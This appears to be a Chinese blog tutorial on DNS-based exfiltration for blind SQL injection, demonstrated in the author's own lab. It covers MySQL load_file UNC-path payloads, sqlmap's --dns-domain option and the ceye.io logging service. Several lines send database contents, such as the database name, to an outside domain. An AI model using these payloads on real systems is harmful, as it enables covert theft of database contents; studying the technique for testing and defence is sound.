DNS注入(诸葛亮:略懂,略懂)

简介: 本文为实战文章,环境全是自己搭建

本文为实战文章,环境全是自己搭建

1. 为什么要使用DNS注入

盲注跑数据太慢的情况下,选择DNS注入是一个好办法。

2. DNS注入的原理

把域名dns指向我们的服务器域名,这样的话解析域名的时候就会向我们的dns服务器查询。通过递归查询就可以获取数据库上的信息了。要记住整个域名内的节点标签被限制在63个字符长度大小。

3. DNS注入的要求

数据库在配置中允许域名解析时

到我们数据库中查看一下:show variables like skip_name_resolve;

 

skip_name_resolve这个参数是禁止域名解析

skip_name_resolve off时会进行域名解析

一旦开启此参数,所有远程主机连接数据库授权都要使用IP地址的方式。

生产环境正常都是开启的。

4. 实战

首先我们服务器上安装sqlmap

发现服务器已经有2.6python环境了

 


直接pip install sqlmap

 

 

安装成功。

接着

 

找到sqlmap根目录

cd /usr/lib/python2.6/site-packages/sqlmap/lib/request/

 

dns.py

它的作用是监听53端口,先给它一个执行权限,+x

这里我直接给他最大权限了

chmod 777 dns.py

mysql命令行执行 select load_file("\\\\xxx.zka7.xyz\\txf");

\\\\经过传输后会变成\\

txf是域名的下级目录,可以随便构造

执行后服务器就会有数据包(xxx.zka7.xyz)出现

 


5. Sqlmap的自动化实现

sqlmap中实现DNS注入加上参数

在服务器安装好了sqlmap然后运行dns.py

--dns-domain=域名

即可实现自动化。

 

6. 我不想买2个域名,我不想买服务器,我也想玩一波DNS注入

有现成的服务:http://ceye.io

 

登陆之后

 

有一个分配给你的二级域名

在数据库中输入

select load_file("\\\\tangxiaofeng.1odz7u.ceye.io\\aaa");

 

可以看到tangxiaofeng这个帅气的名字。

 

试一下拼接。

首先本地选择一个表

use sqltest

这里的sqltest是我自己建的表

接着select load_file(concat("\\\\",(select database()),".1odz7u.ceye.io\\txf"));

 

database出来了。

相关文章
|
7月前
|
域名解析 Kubernetes 网络协议
【K8S系列】深入解析DNS
【K8S系列】深入解析DNS
240 0
|
9月前
|
网络协议 网络安全
DNS解析服务
DNS解析服务
112 1
|
6天前
|
缓存 负载均衡 网络协议
什么是云解析DNS和普通的DNS解析有何区别
什么是云解析DNS和普通的DNS解析有何区别
176 0
|
7月前
|
缓存 网络协议
可能是由于DNS解析出现问题引起的
可能是由于DNS解析出现问题引起的
32 1
|
10月前
|
网络协议
dns解析问题
dns解析问题
52 0
|
网络协议
实现dns解析功能
在ROUCK下实现dns的解析功能
|
缓存 网络协议 网络架构
详解 DNS 解析
详解 DNS 解析
720 0
详解 DNS 解析
|
网络协议 云计算
|
域名解析 缓存 网络协议